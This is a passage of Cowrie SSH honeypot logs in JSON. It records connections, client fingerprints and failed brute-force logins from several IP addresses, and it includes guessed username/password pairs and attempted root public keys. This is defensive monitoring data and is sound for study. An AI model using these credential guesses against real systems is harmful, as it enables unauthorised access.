{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":33522,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f551a5068ea","protocol":"ssh","message":"New connection: 165.154.227.158:33522 (159.203.135.109:22) [session: 3f551a5068ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:41.566359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:41.572946Z","src_ip":"165.154.227.158","session":"3f551a5068ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:41.704133Z","src_ip":"182.253.79.194","session":"2c352a3fbec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:41.790785Z","src_ip":"165.154.227.158","session":"3f551a5068ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678qwe","message":"login attempt [root/12345678qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:42.688951Z","src_ip":"165.154.227.158","session":"3f551a5068ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password123","message":"login attempt [testuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:42.777816Z","src_ip":"182.253.79.194","session":"2c352a3fbec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:43.908751Z","src_ip":"165.154.227.158","session":"3f551a5068ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:44.045352Z","src_ip":"182.253.79.194","session":"2c352a3fbec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":34902,"dst_ip":"10.17.0.5","dst_port":22,"session":"98ad11ff5e38","protocol":"ssh","message":"New connection: 115.91.48.142:34902 (10.17.0.5:22) [session: 98ad11ff5e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.202796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.208054Z","src_ip":"115.91.48.142","session":"98ad11ff5e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":35054,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7e22dcc405b","protocol":"ssh","message":"New connection: 43.173.90.78:35054 (159.203.135.109:22) [session: f7e22dcc405b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.289806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.295225Z","src_ip":"43.173.90.78","session":"f7e22dcc405b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.363532Z","src_ip":"43.173.90.78","session":"f7e22dcc405b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.411220Z","src_ip":"115.91.48.142","session":"98ad11ff5e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01!","message":"login attempt [user01/user01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:54.667152Z","src_ip":"43.173.90.78","session":"f7e22dcc405b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:55.245934Z","src_ip":"115.91.48.142","session":"98ad11ff5e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:55.738767Z","src_ip":"43.173.90.78","session":"f7e22dcc405b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:56.449152Z","src_ip":"115.91.48.142","session":"98ad11ff5e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.16.74","src_port":45450,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c21c61e2c30","protocol":"ssh","message":"New connection: 173.236.16.74:45450 (10.17.0.5:22) [session: 9c21c61e2c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.364099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.369397Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.453533Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:41:34:0d:01:e5:e2:1e:ea:af:21:f1:ef:78:af:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8LOxCTrZbOEu8XLEREhCKZcfxCxBKreVM8saKLolJpIdcxdapGeVkkVyLYVrzML1+LtmQb1sExCiLsmD5rtXeZ8eFRJNMJOToXgd/pr/0F3Z/J0qfgrTkBGd4sFf7Cw9RyCynQjyxZS/znkFO5fAgzeQuzeBwa/XRAxNh+yT8z2m81+Y6IhKj5DKsdkZffR55jCSK/QqoQRnPvVjrkX7GsVD9kuDeYh6VeyPgSIOSFZZpbrM/KHCy/1Ad0cN032oclHdN5gEL3BpcGDScZ0x/IwmiEWg/BclNtRvuBZVWbgczSbJFBCTEBg9igWqoILmC/wyId6RSWMXhntMy2aSV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:41:34:0d:01:e5:e2:1e:ea:af:21:f1:ef:78:af:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.848490Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:41:34:0d:01:e5:e2:1e:ea:af:21:f1:ef:78:af:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8LOxCTrZbOEu8XLEREhCKZcfxCxBKreVM8saKLolJpIdcxdapGeVkkVyLYVrzML1+LtmQb1sExCiLsmD5rtXeZ8eFRJNMJOToXgd/pr/0F3Z/J0qfgrTkBGd4sFf7Cw9RyCynQjyxZS/znkFO5fAgzeQuzeBwa/XRAxNh+yT8z2m81+Y6IhKj5DKsdkZffR55jCSK/QqoQRnPvVjrkX7GsVD9kuDeYh6VeyPgSIOSFZZpbrM/KHCy/1Ad0cN032oclHdN5gEL3BpcGDScZ0x/IwmiEWg/BclNtRvuBZVWbgczSbJFBCTEBg9igWqoILmC/wyId6RSWMXhntMy2aSV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.853088Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:b9:cf:16:d1:83:d2:c5:d6:c1:8f:25:07:ed:75:51","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJA3gDZphichI8EJ1zHl+v4rcb/4JmA3sW4WR9m53WC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4f:b9:cf:16:d1:83:d2:c5:d6:c1:8f:25:07:ed:75:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.938076Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:b9:cf:16:d1:83:d2:c5:d6:c1:8f:25:07:ed:75:51","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJA3gDZphichI8EJ1zHl+v4rcb/4JmA3sW4WR9m53WC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:02.943071Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:2f:b9:97:b8:95:38:a4:b5:6f:ca:51:29:b7:ed:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0PuY+sHTLyVNH6Kse83D638i4MdG6LbpKO3+7V4EwgPjrmezCEJWu3ihnj5UqP//Qzl7Ixzq0kCoi8jWFSPMAI00cE/ieUf6a57D/agyzccPTAh4336Xk6LvwRJk1gz03Wk7+kjXXf8PrLIuGBBHfewIJuK77kf5QmHJyVNVpYZBCYDpVO508+mTmImMpZ/2O0qopU/IaiMtN5jOrdGJRnwFJdbkvvGg5wacWYn9wKiBwihT2ISYEOwxnCteDk8dj2vZqaQ/cO0GPEExAaZdNnshR4KEvm8V2C+E6GwWboDhIFFFE0BD2ZsRdWbeeSY2862avAxnEq9z6D4pI/f01WPAcgmgL2dYgUi1Xc8iDBMy9pvhuzVXL7vJbCNoYePpjrnxVtr48Irt08FzTfNzlAlqlxWG0yuXvMBZ4CPSFZRTdP7xxZJ3aUOQ8FjFNmVLDKgXim6ji2ZL33DSA6SRuek3/UrG9lzDqoB/DpN03dls3WXyVY9fnpFHmi6bjOYs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:2f:b9:97:b8:95:38:a4:b5:6f:ca:51:29:b7:ed:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.032742Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:2f:b9:97:b8:95:38:a4:b5:6f:ca:51:29:b7:ed:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0PuY+sHTLyVNH6Kse83D638i4MdG6LbpKO3+7V4EwgPjrmezCEJWu3ihnj5UqP//Qzl7Ixzq0kCoi8jWFSPMAI00cE/ieUf6a57D/agyzccPTAh4336Xk6LvwRJk1gz03Wk7+kjXXf8PrLIuGBBHfewIJuK77kf5QmHJyVNVpYZBCYDpVO508+mTmImMpZ/2O0qopU/IaiMtN5jOrdGJRnwFJdbkvvGg5wacWYn9wKiBwihT2ISYEOwxnCteDk8dj2vZqaQ/cO0GPEExAaZdNnshR4KEvm8V2C+E6GwWboDhIFFFE0BD2ZsRdWbeeSY2862avAxnEq9z6D4pI/f01WPAcgmgL2dYgUi1Xc8iDBMy9pvhuzVXL7vJbCNoYePpjrnxVtr48Irt08FzTfNzlAlqlxWG0yuXvMBZ4CPSFZRTdP7xxZJ3aUOQ8FjFNmVLDKgXim6ji2ZL33DSA6SRuek3/UrG9lzDqoB/DpN03dls3WXyVY9fnpFHmi6bjOYs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.037633Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:ca:42:75:e2:4a:9a:bd:15:b0:98:51:70:56:84:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4qWzSocTxoX3Jgvs4JoyWDBkDrCLIdq4EXFA7mz3jn","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f8:ca:42:75:e2:4a:9a:bd:15:b0:98:51:70:56:84:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.122058Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:ca:42:75:e2:4a:9a:bd:15:b0:98:51:70:56:84:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4qWzSocTxoX3Jgvs4JoyWDBkDrCLIdq4EXFA7mz3jn","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.125959Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:ed:b5:49:c2:49:d1:cd:da:44:d1:7e:fd:45:90:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCixsOVrHiyAuai1CHhv31DZEjOUJA9f6JB0LyvcpD3D3dm79k2JM4N1iytqFj0KMy7agqdL3WLARIgyU5lM7xwSgrbCawQch0nYBlY8kbKg7A+mtzT5lEfduWF1GGSHqnK8IcB0rmcxnsyPBY1ncbZ0bNkJDX3Cm7Ay4w4UpN8nBysd3wM+KOkeMmbNSsYhYegOKRgea01abQlGVGYhW2WaGSXTir1xNyzz65B0lZUPwDrxW759GpQC/ibN7M7+1tNH3OHNbcgfrdAkp3DEIng5uRKZk+Hasv2fn8/EHxImlYm+VizicuhxzyLUSgekDgJl68SvFdrEpI/UTYbb9FL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:ed:b5:49:c2:49:d1:cd:da:44:d1:7e:fd:45:90:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.209691Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:ed:b5:49:c2:49:d1:cd:da:44:d1:7e:fd:45:90:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCixsOVrHiyAuai1CHhv31DZEjOUJA9f6JB0LyvcpD3D3dm79k2JM4N1iytqFj0KMy7agqdL3WLARIgyU5lM7xwSgrbCawQch0nYBlY8kbKg7A+mtzT5lEfduWF1GGSHqnK8IcB0rmcxnsyPBY1ncbZ0bNkJDX3Cm7Ay4w4UpN8nBysd3wM+KOkeMmbNSsYhYegOKRgea01abQlGVGYhW2WaGSXTir1xNyzz65B0lZUPwDrxW759GpQC/ibN7M7+1tNH3OHNbcgfrdAkp3DEIng5uRKZk+Hasv2fn8/EHxImlYm+VizicuhxzyLUSgekDgJl68SvFdrEpI/UTYbb9FL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.215451Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:03.303535Z","src_ip":"173.236.16.74","session":"9c21c61e2c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":55672,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d4be75dc9b","protocol":"ssh","message":"New connection: 43.156.17.27:55672 (159.203.135.109:22) [session: 59d4be75dc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:19.041307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:19.046823Z","src_ip":"43.156.17.27","session":"59d4be75dc9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 